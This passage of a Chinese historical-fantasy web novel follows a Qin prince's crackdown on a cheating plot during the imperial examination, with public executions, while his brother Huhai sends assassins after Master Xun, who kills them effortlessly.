极尽奢华的暖阁内,却弥漫着一种与华贵装饰格格不入的阴冷算计。
胡亥懒洋洋地倚在软榻上,指尖把玩着一枚玉珏,听着心腹低声禀报着科举第一日考场内外的“平静”景象。
他脸上带着一丝玩味和不屑的冷笑。
“风平浪静?呵,我那六哥倒是把场面功夫做得十足。”
他嗤笑一声,将玉珏随手扔回盘中。
“这才第一天,好戏还没开场呢。”
一旁的心腹低声请示。
“公子,我们安排的人…是否要开始行动?制造些小混乱也好……”
“急什么?”
胡亥瞥了他一眼,眼神如同毒蛇般冰冷。
“现在他们神经正紧绷着,此时动手,不过是自投罗网。”
“等,耐心等着。”
“等到后面几天,等到他们都以为万事大吉,开始松懈疲惫的时候…那才是动手的最佳时机。”
他嘴角勾起一抹残忍的弧度。
“我要的,不是小打小闹,而是要在他最志得意满的时候,给他致命一击!”
“让这场科举,变成一场天大的笑话!”
心腹连忙低头。
“公子英明,是属下心急了。”
就在这时,另一名心腹悄无声息地快步走入,凑到胡亥耳边,用极低的声音急促禀报了几句。
原本慵懒的胡亥,眼神骤然一凝,猛地坐直了身体。
“荀夫子?那个老家伙离开小圣贤庄,只身往咸阳来了?”
他脸上闪过一丝惊讶,随即迅速被一种极其阴险的算计所取代。
他短暂地沉思了片刻,手指无意识地敲击着软榻的扶手。
很快,他脸上露出了恍然大悟的神情,随即化为一种极其兴奋和残忍的笑容,仿佛发现了绝佳的猎物。
“呵…呵呵……我明白了。”
胡亥低声笑了起来,声音尖细而令人毛骨悚然。
“这老东西,是看张良把事情搞砸了,怕赢子夜迁怒整个儒家,这是要亲自来咸阳,摆出姿态,替我那位好六哥‘分忧解难’,替他收买人心来了啊!”
他猛地站起身,在暖阁内踱了两步,眼中的光芒越来越亮,越来越毒。
他忽然停下脚步,看向那名前来报信的心腹,脸上露出一个近乎天真却充满了恶毒的笑容。
仿佛在说什么有趣的事情。
“诶,你说……要是这位德高望重,堪称当世大贤的荀夫子,好端端的,突然死在了前来咸阳向我六哥请罪的路上……”
他故意拉长了语调,观察着心腹的反应。
那心腹先是一愣。
随即瞬间明白了主子的意图。
眼中闪过骇然之色,但立刻被一种执行命令的冷酷所取代,他压低声音道:
“若真如此…儒家上下,乃至天下仰慕荀夫子的文人,必定群情激愤!”
“他们绝不会相信是意外,只会认为…是六公子心胸狭窄,不容于人,甚至可能是…**灭口!”
“届时,六公子便是黄泥掉进裤裆里,不是屎也是屎!”
“跳进黄河也洗不清!”
“他与儒家,将结成死仇!”
“哈哈!说得好!说得太好了!”
胡亥抚掌大笑,笑容扭曲而畅快。
“就是要让他赢子夜百口莫辩!”
“让他好不容易收拢的那点人心,瞬间崩塌!”
他缓缓走到那名心腹面前,亲昵地拍了拍对方的肩膀,身体微微前倾,声音压得极低。
如同毒蛇吐信,带着令人不寒而栗的亲昵和杀意。
“所以…你知道,接下来,该如何去做了吗?”
那心腹身体微微一颤,但立刻垂下头,声音坚定而冰冷。
“属下明白!请公子放心!”
“属下一定‘妥善安排’,绝不会让荀夫子…活着踏入咸阳城半步!”
胡亥满意地笑了,笑容灿烂而残忍,他轻轻替心腹整理了一下并不凌乱的衣领,柔声道。
“去吧,做得干净利落些。”
“别留下什么…让人说闲话的把柄。”
“诺!”
心腹重重领命,不再多言,转身迅速消失在暖阁的阴影之中。
胡亥独自留在阁内,脸上的笑容愈发扩大,最终变成了无声,却充满了疯狂意味的大笑。
“六哥啊六哥,你忙着你的千秋大业,弟弟我…再送你一份‘厚礼’!”
“希望你喜欢!”
……
翌日。
考院之内依旧肃穆。
但经过第一日的适应,空气中那极致的紧张感似乎稍稍缓解了一些。
取而代之的是一种更加深沉,专注于笔尖博弈的凝重。
赢子夜依旧在丞相李斯、将作少府章邯等人的陪同下,进行着例行的巡视。
玄衣身影所过之处,无论是监考官吏还是巡逻卫士,无不更加挺直了腰板,打起了十二分的精神。
行至专为应对突发状况而设置的医官区时。
赢子夜看到了一个意料之外却又在情理之中的身影。
端木蓉。
她一袭素净的布衣,并未穿着官服,
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她神情专注而清冷,仿佛周遭的紧张气氛都与她无关。
唯有在偶尔抬头查看不远处几位因压力过大而前来寻求安神汤药的学子时,眼中才会流露出一丝属于医者的柔和。
赢子夜并未打扰她,只是目光在她身上停留了一瞬便移开。
他更关心的是考场的整体安全。
“章邯。”
赢子夜声音不高。
“末将在!”
章邯立刻上前一步,甲叶轻响,低声禀报。
“回殿下,昨夜巡夜一切正常,并未发现任何可疑人物靠近考院,内部亦无任何火患隐患。”
“只是……”
他顿了顿,补充道:
“夜间有数名学子因思虑过甚,心悸失眠,甚至有一人短暂昏厥,均已由医官及时救治,并无大碍。”
赢子夜微微颔首,对此并不意外。
连续三日的高压考试,对身心皆是巨大的考验。
“增派的医师和药材可都到位了?”
“均已到位,足够应对。”
章邯笃定回答。
“嗯,越是最后两日,越不可松懈。”
赢子夜再次强调,目光扫过那些正伏案疾书的士子,正准备继续向前巡视。
就在这时。
一个清冷却异常清晰的声音,带着不容置疑的锐利,突然从医官区方向传来。
“站住!”
这声音在寂静的考场中显得格外突兀,瞬间打破了原有的节奏。
赢子夜、李斯、章邯以及所有随行人员皆是一怔,下意识地停下脚步,扭头循声望去。
只见端木蓉不知何时已合上了医书,站了起来。
她那双平日沉静如水的眸子,此刻却微微眯起。
闪烁着一种医者特有,对某些气息极其敏感的锐光。
正死死地盯着不远处一队正低头垂目,准备给各考舍分发午膳的宦官。
她的目光,精准地锁定在那些宦官手中提着的多层叠放的朱漆食盒之上。
而那队宦官,也被这突如其来的呵斥和众多高官的目光注视,吓得顿时僵在原地,手足无措,脸色发白,不知发生了何事。
章邯眉头一皱,正要开口询问端木蓉何故惊扰。
却见端木蓉根本无视其他人。
她的全部注意力都集中在那批食盒上,鼻翼微不可察地轻轻翕动了一下。
清冷的声音带着一丝不容错辨的凝重,再次响起!
“你们手里的饭菜……不对劲!”
第300章 杀鸡儆猴?谁都别想跑!
赢子夜、李斯、章邯等人瞬间脸色一凝。
快步走到端木蓉身边。
所有人的目光都聚焦在那批朱漆食盒上,气氛骤然紧张起来。
“端木姑娘,何处不对劲?”
赢子夜声音沉稳,却带着一丝冷意。
端木蓉没有立刻回答,而是从一个吓得瑟瑟发抖的小宦官手中直接取过一副尚未分发出去的筷子,打开最上面一层的食盒。
里面是热气腾腾的粟米饭和几样荤素搭配的菜肴,看起来并无异常。
她夹起一小块肉,并未放入口中,而是先凑近鼻尖仔细嗅了嗅,柳眉微蹙。
随即,她竟真的将那块肉送入了口中,细细咀嚼品味起来。
这一幕看得周围众人心惊肉跳。
章邯更是忍不住急道。
“端木姑娘!小心!”
若真是剧毒,岂可亲口尝试?
端木蓉咀嚼了几下,便将其吐出,又从旁取过清水漱了漱口。
她抬起眼,看向赢子夜,清冷的眸子中带着确定的神色。
“殿下,饭菜中被下了药。”
“并非见血封喉的剧毒,药性隐蔽,味道被油腥气掩盖得极好,但瞒不过我的舌头。”
“是何**?”
章邯急忙追问,手已按在了剑柄上。
“不算是毒。”
端木蓉摇了摇头,语气却依旧凝重。
“应是药性隐匿的缓泻之剂。”
“食用后,并非立刻发作,而是数个时辰后才会逐渐腹中绞痛,继而频频如厕。”
泻药?
这个答案让众人都是一愣。
他们预想了各种恶毒的阴谋,却没想到对方费尽心思,只是下了泻药?
赢子夜眼中寒光一闪,没有任何犹豫,立刻沉声下令。
“章邯!”
“末将在!”
“即刻将这些饭菜全部撤下,秘密处理掉!”
“立刻启用备用粮蔬,重新安排一队绝对可靠之人,另起炉灶,重新制作午膳!”
“务必在午时前让士子们吃上干净安全的饭食!”
“诺!”
章邯领命,立刻对身后副将低声吩咐了几句,副将领命匆匆而去!
一队精锐卫士迅速上前,无声而高效地将那批问题食盒全部控制起来。
“还有。”
赢子夜补充道,声音压得更低。
“将今日所有接触过这批饭菜的厨子、帮工、以及负责运送的宦官,全部暗中控制起来,分开看押,严加审讯!”
“记住,动静要小,绝不可惊扰考场!”
“明白!”
章邯重重点头,立刻吩咐另一队人马去执行。
命令迅速下达,整个处置过程雷厉风行,却又被控制在极小的范围内,远处的士子们甚至未曾察觉到这边的异常。
处理完紧急情况,章邯这才带着满腹疑惑,低声对赢子夜道。
“殿下,对方如此大费周章,潜入戒备森严的膳房,却只下泻药…这是何用意?”
“难道真是…突发善心,不忍伤及学子性命?”
他自己都觉得这个想法荒谬。
赢子夜目光深邃,缓缓摇头。
“事出反常必有妖。”
“既然不是为了取人性命,那这泻药的目的,必然是为了制造某种……混乱。”
他的思维飞速运转,目光扫过那庞大的考院。
“章邯!”
赢子夜眼中冷光爆射。
“立刻派人,去检查所有溷厕!”
“尤其是厕纸储备、以及……”
他顿了顿,语气变得无比森寒。
“检查溷厕本身是否被动过手脚!”
“既然对方心思如此歹毒阴险,难保不会在溷厕这种地方也埋下后手!”
“若是在士子**如厕时引发火灾或**……”
章邯闻言,也是瞬间冷汗直流,彻底明白了对方这看似“仁慈”之举背后隐藏的巨大恶意!
这简直是把**不见血的软刀子!
“末将亲自带人去查!”
章邯不敢怠慢,抱拳行礼,立刻带着一队精锐,杀气腾腾地朝着考院角落的溷厕区域疾步而去。
……
章邯亲自带人扑向考院角落的溷厕区。
一番雷厉风行却又极其隐秘的搜查后,果然发现了端倪!
几处使用频率较高的溷厕,其内部隔间的几块厚重木板,其榫卯接口处有极其细微,新近被撬动又重新安装过的痕迹!
若非刻意针对性地检查,根本难以发现。
“拆下来!”
章邯脸色铁青,低声下令。
兵士们小心翼翼地将那几块木板卸下。
当木板翻过来,露出背面时,所有在场的人都倒吸了一口凉气!
只见那木板背面,竟然用极其纤细的刻刀,密密麻麻地刻满了小字!
内容赫然是经义题的标准答案释义,以及一些策论题的破题思路和精彩范文片段!
“混账东西!”
章邯看得怒火中烧,一拳狠狠砸在旁边的土墙上!
对方竟然用如此龌龊卑鄙的手段!
若非端木蓉机警发现饭菜异常,若非殿下心思缜密联想到溷厕,一旦让这些藏着答案的木板被那些舞弊者利用,科举的公正性将荡然无存!
他立刻带着证据,疾步返回向赢子夜禀报。
赢子夜看着那几块刻满答案的木板,脸上已结了一层寒霜,眼中杀意几乎要溢出来!
虽然不是易燃易爆之类的危险品。
但这**之物,显然也不是小问题!
“好,很好。”
他声音平静得可怕。
“看来是里应外合,赵弋苍!”
“卑职在!”
赵弋苍如同鬼魅般现身。
“即刻秘密控制昨夜所有值守考院,尤其是负责溷厕区域巡逻的兵士,分开严加审讯!”
“同时,立刻排查今日所有使用过这几处溷厕的士子名单!”
“一个时辰内,本公子要看到结果!”
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“诺!”
赵弋苍领命,身影瞬间消失。
赢子夜又看向章邯。
“加强对所有溷厕的监控,未被发现的类似木板可能还有!”
“增派人手,明暗双岗,绝不能再给任何人接触的机会!”
“末将明白!”
命令一道道下达,一张无形的大网迅速收紧。
考院之外风平浪静,考院之内却已是暗流汹涌,一场无声的清洗迅速展开。
果然,不到一个时辰,赵弋苍便带着审讯结果匆匆返回,脸色凝重。
“主上,查清了!”
“厨子那边熬不住刑,已经招供。”
“指使他往饭菜中下泻药的,并非一人,而是朝中多位官员联合所为!这是名单!”
他呈上一份血迹斑斑的供词。
上面罗列着几个名字和官职,皆是朝中职位不低,且家中或有子嗣、或有门生参与此次科举的官员!
赢子夜目光扫过。
发现这些人,与他之前得到的那份官宦子弟名单高度重合。
显然是为了自家利益铤而走险。
“据厨子供述,他们许诺重金,让其下药,目的是制造混乱,并引导士子频繁如厕,以便其同党趁机窃看答案。”
“溷厕那边的线索也查清了。”
赵弋苍继续道。
“是负责每日运送食材,能短暂进入考院的一名宦官!”
“他利用职务之便,提前将刻好答案的木板带入,并与昨夜值守的一名被买通的队率里应外合,趁夜更换了溷厕木板!”
“那人也已招认!”
所有线索,瞬间贯通!
赢子夜缓缓站起身,玄衣无风自动,周身散发出令人窒息的恐怖杀意!
“为了自家那点蝇营狗苟,竟敢罔顾国法,玷污科举,视帝国威严如无物!”
他的声音冰冷彻骨,每一个字都仿佛带着血丝。
“好,真是好得很!”
他目光如炬,看向章邯和赵弋苍,斩钉截铁地下令。
“拿人!”
“章邯,你率卫尉军,赵弋苍,你调暗河配合!”
“就按这份名单,一个不漏,全部给本公子拿下!”
“直接去他们的府邸,去他们的官署!”
他顿了顿,语气带着一种刻意为之的冷酷和震慑。
“动静,给本公子弄大一些!不必遮掩!”
“就是要让满朝文武,让这咸阳城所有人都看着!”
“让那些还没来得及做,或者正在做,别有心思的人,都好好地看清楚——”
“这就是胆敢在科举上动手脚的下场!!”
“诺!”
章邯与赵弋苍眼中同时闪过嗜血的寒光,重重抱拳领命!
片刻之后。
咸阳城中,数支杀气腾腾的精锐兵马和黑衣身影,如同出闸猛虎,直奔几处官员府邸和官署而去!
铁蹄踏破长街的宁静,甲胄碰撞之声森然可怖!
沿途百姓惊骇避让,议论纷纷。
第301章 让百官前来观刑!
只见一队队披坚执锐,杀气腾腾的禁卫军士兵。
如同黑色的钢铁洪流,分成了数股,正沿着不同的主干道,向着城中几处达官显贵的府邸方向疾驰而去!
这些军士面色冷峻,目光如刀,丝毫没有平日巡逻时的平和。
取而代之的,是一种执行铁血命令的决绝!
他们毫不避让行人,沉重的步伐震得地面微微颤抖!
所过之处,行人商贩无不惊恐避让,鸡飞狗跳!
“让开!统统让开!”
“卫尉府拿人!阻挠者同罪!”
为首的将领厉声呵斥,声音如同滚雷,带着不容置疑的威严。
队伍毫不减速,直接冲散了街市,引得一片惊呼和混乱。
城东。
某个御史中丞府邸。
黑色的大门紧闭,威严肃穆。
然而,沉重的撞门槌几下猛烈的撞击,伴随着门内家丁惊恐的尖叫,那象征着权势的大门便被轰然撞开!
禁军如潮水般涌入,府内顿时响起女人的尖叫,孩子的哭喊和男人的呵斥怒骂。
“你们干什么?!我乃朝廷命官!”
“奉公子殿下令,拿下逆犯!堵上他的嘴!”
冰冷的命令声中,那位平日趾高气扬的御史中丞,穿着朝服就被如狼似虎的军士从书房里拖了出来。
官帽掉落在地,被无数军靴踩过。
他挣扎着,嘶吼着,却被粗暴地套上枷锁,塞住了嘴巴,如同死狗般被拖出府门,扔上了囚车。
围观的百姓看得目瞪口呆,窃窃私语。
城南。
光禄勋属官宅院。
相对清幽的巷子也被铁蹄踏破。
军队直接包围了整个宅院,弓箭手甚至登上了邻里的屋顶,箭镞寒光闪闪,对准了院内。
没有多余的废话,带队校尉直接宣读完命令,便带人破门而入。
很快,一名穿着常服,试图从后门溜走的中年官员被两名军士死死按倒在地,脸上沾满了泥土,狼狈不堪。
宫城附近。
一处不算起眼却地位关键的官署。
这里是负责部分宫内物资采买的机构。
禁军直接封锁了街道两端,带队将领手持令箭,大步闯入官署之内。
署内的大小官吏吓得面无人色,瑟瑟发抖地跪了一地。
将领的目光冷冷扫过,最终定格在一个试图躲到人群后方的宦官头领身上。
“拿下!”
两名军士上前,毫不客气地将那面白无须,吓得尿裤子的宦官头领揪了出来,铁链加身。
整个过程快如闪电,充满了冰冷的效率,彰显着绝对的权力。
动静越来越大!
消息如同插上了翅膀,飞速传遍咸阳!
“听说了吗?卫尉军当街抓人了!”
“抓了好几个大官!好像是因为科举舞弊!”
“我的天!竟然敢在科举上动手脚?不要命了?!”
“是六公子下的令!真是雷霆手段啊!”
整个咸阳官场为之震动!
无数府邸大门紧闭,官员们躲在门后,通过缝隙惊恐地看着街道上不时奔过的军队,心中充满了兔死狐悲的恐惧和庆幸。
那位六公子的形象,在他们的心中变得愈发威严、酷烈、深不可测!
……
十八公子府邸。
胡亥斜倚在软榻上,听着心腹绘声绘色,甚至带着几分兴奋地描述着外面抓人的“盛况”。
他脸上非但没有丝毫恐惧,反而露出了极其浓厚的兴致和一种玩味的笑容。
“哦?当街拿人?动静闹得这么大?”
他轻轻拍着手,仿佛在欣赏一出精彩的好戏。
“啧啧,六哥发起狠来,还真是…一点情面都不讲啊。”
心腹低声道:“据我们的人观察,被抓的皆是咱们那些与舞弊士子有关联的官员。”
“他们用的法子倒也巧妙,下泻药,溷厕藏答案……想法确实不错。”
“想法是不错。”
胡亥嗤笑一声,拿起一颗葡萄把玩着。
“可惜啊,心太急了,手段也不够干净。”
“这么早就跳出来,活该成为杀鸡儆猴的那只鸡。”
他眼中闪过一丝遗憾。
“本来嘛,本公子还想着,要不要也在饭菜里动点别的手脚,给他们添把火呢……”
“现在看来,是没机会咯。”
他顿了顿,语气忽然变得有些凝重,又带着一丝探究。
“不过…能这么快就识破泻药,还能顺藤摸瓜查到溷厕……”
“我六哥安排在考院里的能人,不简单啊。”
“是那个叫端木蓉的女人?”
他摆了摆手,似乎懒得再深想,脸上重新浮现出那种残忍而慵懒的笑容。
“罢了罢了。”
“既然这些下作手段都被我那位好六哥防得滴水不漏,那咱们也就省省力气,不必再在这些细枝末节上浪费时间了。”
他的目光投向窗外,仿佛能穿透墙壁,看到那座肃静的考院,声音变得幽深起来。
“直接一点,不好么?”
……
与此同时。
考院之内,肃静依旧。
但一种无形的紧张感已然弥漫开来。
方才外面街道隐约传来的骚动和马蹄声,以及偶尔闯入视野,面色冷厉快步而过的黑冰台锐士,都让敏感的士子们意识到,定然发生了大事。
赢子夜去而复返,再次登上了考场前方的高台。
他的身影一出现,立刻吸引了所有士子的目光。
与之前鼓励时的平和不同。
此刻的他,面色冰冷如霜,眼神锐利如刀,周身散发着一种令人心悸的凛冽寒意。
他没有多余的废话,目光如同实质般扫过下方一张张或疑惑、或不安、或心虚的面孔。
声音清冷而威严。
如同冰碴碰撞,清晰地传遍每一个考舍。
“经查实,考生王粲、李欲、赵思空……等十七人!”
他每念出一个名字,就如同一道冰冷的判决落下,被念到名字的士子瞬间脸色惨白如纸,身体不由自主地颤抖起来!
“其或勾结朝中不法官员,或自身心怀侥幸,行舞弊之举,意图玷污科举之公正,欺瞒圣听,罪证确凿!”<
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br>话音落下!
早已等候在侧的禁军士兵如狼似虎般冲入指定的考舍!
毫不客气地将那些已然瘫软或试图挣扎的士子从座位上拖起,剥去号牌,套上枷锁!
“不!冤枉啊!”
“公子饶命!我再也不敢了!”
“我是被逼的!”
哀求声、哭嚎声、挣扎声骤然打破了考场的寂静,显得格外刺耳。
然而,回应他们的只有军士冰冷无情的呵斥和铁链的碰撞声。
所有未被波及的士子都看得心惊肉跳,噤若寒蝉!
一些心理素质稍差的,甚至握笔的手都在剧烈颤抖。
赢子夜冷漠地看着那十几人被拖走,声音再次响起,带着一种不容置疑的警告,压过了所有的嘈杂。
“此等蠹虫,乃士林之耻!”
“帝国予以机会,非是让其行此苟且之事!”
“望尔等引以为戒,珍惜这来之不易的参考之机,以真才实学,回报帝国,光耀门楣!”
“继续考试!”
说完,他不再多看下方一眼,转身走下高台。
考场内,重归死寂。
只剩下粗重的呼吸声和心有余悸的恐惧。
然而,在这恐惧之下,更多的是一种对规则的敬畏和对公平的坚信。
经过这番雷霆手段的清洗,再无人敢心存侥幸!
笔尖划过竹简的声音,再次成为主旋律,却比之前更多了几分沉重与纯粹!!
……
咸阳菜市口。
空气中似乎有着一丝若有若无的铁锈腥气。
刑场周围,黑压压站着的,竟是满朝权贵!!
以大秦丞相李斯、冯去疾为首,几乎所有在都,有资格上朝的文武百官,皆被“请”到了此地!
他们按照品级爵位肃立,人人面色凝重。
甚至带着一丝难以掩饰的惶恐与不安。
无人交谈,无人私语,只有沉重的呼吸声和偶尔因紧张而发出的轻微吞咽声。
阳光照射在他们华丽的朝服上,却映不出一丝暖意,反而显得格外冰冷。
因为下令让他们前来观刑的,并非始皇。
而是那位如今权柄日重,深得帝心,且刚刚以雷霆手段肃清了科举舞弊案的六公子!
赢子夜!
谁都知道,陛下将科举这等关乎国本的大事全权交予六公子,其意已不言而喻。
今日六公子令百官观刑,其震慑之意,昭然若揭!
无人敢称病,无人敢缺席!
沉闷的车轮声由远及近。
在无数道惊恐、复杂、敬畏的目光注视下,数辆囚车在精锐禁军的押送下,缓缓驶入刑场中心。
囚车中关押的,正是昨日被当街拿下的那几位朝廷官员!
他们早已没了往日的威风。
官袍被剥去,只穿着囚衣,头发散乱,面容枯槁,眼神空洞绝望,如同待宰的牲口。
有人瘫软如泥,有人则兀自喃喃自语,似在哀求,又似在诅咒。
囚车停稳,车门打开。
那几名犯官被军士粗暴地拖拽出来,押解到行刑台前,强迫他们跪倒在地。
第302章 荀夫子,出手了!
就在这时。
一辆玄黑色的马车在仪仗的护卫下,无声地驶入刑场,停在了百官队列的最前方。
车帘掀开。
赢子夜一袭玄衣,身姿挺拔,面容冷峻如万载寒冰,缓步走了下来。
他甚至没有佩戴过多的饰物。
但那自然流露出的威严与杀伐之气,却瞬间成为了全场的绝对中心!
连阳光似乎都聚焦于他一人之身!
百官不由自主地将腰弯得更低了些,头颅垂得更深了些。
赢子夜一步步登上行刑高台,目光如同冰冷的刀锋,缓缓扫过台下那黑压压的,代表着帝国最高权力阶层的文武百官。
目光所及之处,无人敢与之对视,纷纷避让。
他最终将目光落在那几名跪地待死的犯官身上,声音清朗却冰冷得不带一丝情感。
清晰地传入在场每一个人的耳中。
如同最终的审判。
“御史中丞赵德归、光禄勋属官孙敬、少府监事周福……”
“尔等世受国恩,位居朝堂,本应恪尽职守,为国选材!”
他的声音陡然提高,带着滔天的怒意和毫不掩饰的杀机。
“然!尔等竟利令智昏,罔顾国法,勾结串联,于科举国本大事之上,行此舞弊苟且之事!”
“视帝国律法如无物,视圣上天恩如粪土!”
“其心可诛!其罪当诛!”
每一个字都如同重锤,狠狠敲击在百官的心头,让许多人脸色发白,冷汗涔涔。
赢子夜猛地一挥手,指向那几名面如死灰的犯官,声音斩钉截铁,如同金铁交鸣。
“依《秦律·杂律》!官吏舞弊,罪加三等!”
“科场舞弊,动摇国本,罪同谋逆!!”
“判——斩立决!”
“其家产,抄没充公!其三族,削籍流放!”
“即刻行刑!”
“诺!”
监刑官早已准备就绪,闻令立刻高声应诺,抽出那支代表着死亡的黑色行刑令签,狠狠掷于地上!
“斩!”
刽子手鬼头大刀扬起寒光!
“噗嗤——!”
数道血泉冲天而起!
几颗头颅滚落在地,脸上还凝固着极致的恐惧与不甘。
整个过程干净利落,没有丝毫拖沓。
血腥味瞬间弥漫开来。
台下百官之中,响起一片极力压抑的惊呼和抽气声!
许多人身体剧颤,甚至有人忍不住干呕起来!
他们虽然位高权重,但如此近距离地观看同僚被集体斩首,视觉和心理冲击力无疑是巨大的!
赢子夜冷漠地看着那几具喷涌着鲜血的无头尸体。
目光再次转向台下那些面色惨白,魂不守舍的文武百官,声音依旧平稳,却带着一种深入骨髓的寒意。
“今日请诸位大人前来,便是要诸位亲眼看看,这便是徇私枉法,玷污国器之下场!”
“科举取士,乃帝国根基,不容丝毫亵渎!”
“陛下将此重任交予本公子,本公子便绝不容许任何蛀虫,任何败类,毁我大秦千秋之业!”
“望诸位大人,以此为鉴,好自为之!”
“恪尽职守,洁身自好!”
“否则……”
他的目光再次扫过那几具尸体。
“这,便是前车之鉴!”
说完,赢子夜不再多看台下百官一眼,转身,拂袖,走下高台,登上来时的马车。
车帘垂下,隔绝了所有视线。
马车缓缓启动,驶离这片弥漫着浓重血腥味和恐怖气息的刑场。
只留下满地狼藉的尸首,以及那群依旧僵立在原地,面色惨白,汗出如浆,心中充满了无尽恐惧与震撼的大秦重臣们。
今日这一幕。
注定将如同噩梦般,深深烙印在他们的脑海深处,再也无法抹去!
……
离开桑海地界后。
通往咸阳的官道逐渐变得开阔,却也愈发荒凉。
时值深秋,草木凋零。
官道上行人稀疏,唯有秋风卷起枯叶,发出萧瑟的呜咽。
荀夫子依旧是一袭简单的粗布麻衣,手持一根看似普通的竹杖,佝偻着身躯,不紧不慢地徒步而行。
他须发皆白,面容清癯。
眼神浑浊仿佛寻常耄耋老者。
任谁看去,也只会以为这是一位赶路的普通老儒,绝不会将其与名满天下的儒家大贤联系起来。
然而。
就在他行至一处前不着村后不着店的荒僻山道时,四周的空气仿佛骤然凝滞了!
秋风似乎停止了流动,枯叶悬在半空。
一种冰冷,毫无生机的杀意!
如同无形的蛛网,从道路两旁的密林和乱石之后弥漫开来,悄无声息地将他笼罩!
没有警告,没有喊话!
骤然间,十数道黑影如同鬼魅般从四面八方暴射而出!!
他们动作迅捷如电,配合默契,手中兵刃闪烁着淬毒的幽光,直指荀夫子周身要害!
角度刁钻,速度惊人.
显然是训练有素,精通合击之术的专业**,务求一击必杀,绝不给他任何反应的机会!
面对这突如其来的致命**。
那看似老迈不堪,行将就木的荀夫子,却连眼皮都未曾抬一下。
他甚至还在向前迈出那一步。
就在那些淬毒的刀锋剑尖即将触及他衣袍的刹那!!
时间,仿佛在他周身尺许之地,变得粘稠、缓慢了!
也不见他有任何明显的动作,只是那持着竹杖,布满老年斑的手,似乎极其随意地轻轻向前点了一下。
没有风声,没有气爆。
冲在最前面的三名**,眉心之处同时出现了一个细不可察的孔洞,仿佛被无形的尖针刺穿!
他
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们的动作瞬间僵滞!
眼中的凶戾之光瞬间熄灭,变为死寂的灰白!
身体保持着前冲的姿势,重重栽倒在地,溅起一片尘土。
其余**心中骇然巨震,但杀戮的本能让他们继续扑上!
荀夫子的脚步依旧未停,甚至节奏都未曾改变。
他只是握着竹杖,如同散步般继续前行。
但他的周身,仿佛萦绕着一股无形无质,却又浩瀚磅礴的“势”!
一名**从左侧挥刀横斩,刀锋却在距离荀夫子衣衫三寸之外,如同砍中了无比坚韧的无形壁垒,再也无法寸进!
反而一股沛然莫御的巨力反震而回!
那**虎口崩裂,长刀脱手飞出,整个人如同被无形巨锤击中胸口,倒飞出去,撞在山岩之上,筋骨尽碎!
右侧两名**同时刺剑。
剑尖毒蛇般噬向他的肋下与后心。
荀夫子甚至未曾回头,只是那空着的左手,袖袍似乎极其自然地轻轻一拂。
那两名**只觉得一股柔和却根本无法抗拒的巨力拂过,手中精钢长剑竟寸寸断裂!
紧接着,那股力量侵入他们体内,瞬间搅碎了他们的心脉!!
两人眼中带着难以置信的惊恐,软软倒地,气息全无。
身后又有**掷出喂毒暗器,密集如雨!
荀夫子依旧向前走着,那些迅疾狠辣的暗器在飞入他周身一定范围后,竟如同陷入了泥沼,速度骤减,最终无力地叮叮当当掉落一地。
弹指之间,十余名精锐**,已然死伤殆尽!
最后仅存的一名**,目睹这如同鬼神般不可思议的一幕,早已心胆俱裂!
他彻底放弃了任务,怪叫一声,转身便欲逃入密林。
荀夫子终于停下了脚步。
他缓缓抬起头,浑浊的目光似乎瞥了一眼那仓皇逃窜的背影。
只用那根看似普通的竹杖,对着那背影逃窜的方向,极其随意地,隔空轻轻一点!
没有光芒和声响。
百步之外,那名正在疯狂奔逃的**身体猛地一僵,随即扑倒在地,抽搐了两下,便再无声息!
他的后背心处,没有任何伤口,却已然生机断绝。
山风吹过,卷起血腥之气。
荀夫子缓缓放下竹杖,仿佛只是做了一件微不足道的小事。
他浑浊的目光扫过地上横七竖八的尸体,脸上无喜无悲,没有任何表情。
仿佛这些生命的消逝与他毫无关系,甚至不值得他多看一眼。
整理了一下丝毫未曾凌乱的粗布麻衣。
继续拄着竹杖,佝偻着身躯,沿着荒凉的古道,不紧不慢地向着咸阳方向走去。
脚步沉稳,一如之前。
仿佛刚才那场短暂而血腥的杀戮,只是一阵无关紧要的风,吹过了一片寂寥的旷野。
深藏不露,莫过于此!!!
第303章 硬仗,还在后面!
第三日,午后。
当代表考试结束的沉重钟声终于响彻考院上空时,几乎所有参与此次科举事务的官员,都不由自主地长长舒了一口气。
紧绷了整整三日的神经骤然松弛下来,不少人甚至感到一阵虚脱般的眩晕。
上万名的士子如同潮水般从各自的考舍中涌出!
有人面带喜色。
有人神情凝重。
有人如释重负。
有人茫然若失。
但无论如何,属于他们的战斗,暂时告一段落了。
考卷被一一收拢、密封,由黑冰台与卫尉府的锐士共同押送,送往严密看守的阅卷场所。
丞相李斯揉了揉布满血丝的双眼,脸上带着难以掩饰的疲惫,却也有着完成一项艰巨任务的欣慰。
他走到依旧站得笔直的赢子夜身边,躬身道:“殿下,三日已毕,考场内外未再出大乱子,总算是…平稳度过了。”
一旁的章邯、萧何等人也是面露感慨。
这三日可谓是殚精竭虑。
一刻不敢放松。
如今终于能稍微喘口气。
然而,赢子夜的神色却并未有丝毫放松。
他目光扫过那些正在被运走,堆积如山的试卷。
眼神依旧锐利而冷静。
“平稳度过?”
赢子夜缓缓开口,声音平静却像一盆冷水,浇灭了李斯等人刚刚升起的松懈之意。
“丞相,诸位大人,你们是不是觉得,学子们考完了,我等便可高枕无忧了?”
李斯等人闻言一怔,脸上的轻松迅速收敛,疑惑地看向赢子夜。
赢子夜转过身,目光如炬,直视着李斯、章邯、萧何等核心官员。
“对于学子而言,考试是结束了。”
“但对于朝廷,对于我等而言,真正最关键,也是最容易出现徇私舞弊的环节。”
“现在才刚刚开始!”
他的手指向那些被运走的试卷:“阅卷、核定名次,最终放榜!”
“这每一步,都关乎着这万余士子的前程,关乎着科举的绝对公正,更关乎着帝国的威信!”
“这其中,有多少环节可以动手脚?”
“有多少人情可以钻营?”
“有多少双眼睛,正盯着这些试卷,想着如何上下其手?”
赢子夜的声音陡然变得无比严肃:“之前的严防死守,防的是明刀明枪。”
“而现在要面对的,才是真正的暗箭难防!”
“才是对诸位大人心性和原则的真正考验!”
李斯、章邯、萧何等人瞬间冷汗涔涔,彻底清醒过来!
是啊!
试卷到了阅卷官手中,如何评判,如何定等,如何排名……
这里的可操作空间,远比考场之上更加隐蔽和凶险!
若是在这里出了纰漏,那前三日的所有努力都将付诸东流,甚至后果更加严重!
三人立刻收起所有疲惫和松懈,神色变得无比凝重,齐齐躬身,心悦诚服地郑重道:“殿下教诲的是!”
“臣等愚钝,险些误了大事!”
“定当时刻警醒,绝不敢有丝毫徇私懈怠!”
“阅卷之事,必严格章程,相互监督,绝不容许任何污点!”
赢子夜看着他们幡然醒悟的神情,微微颔首:“明白便好。”
“真正的硬仗,还在后面。”
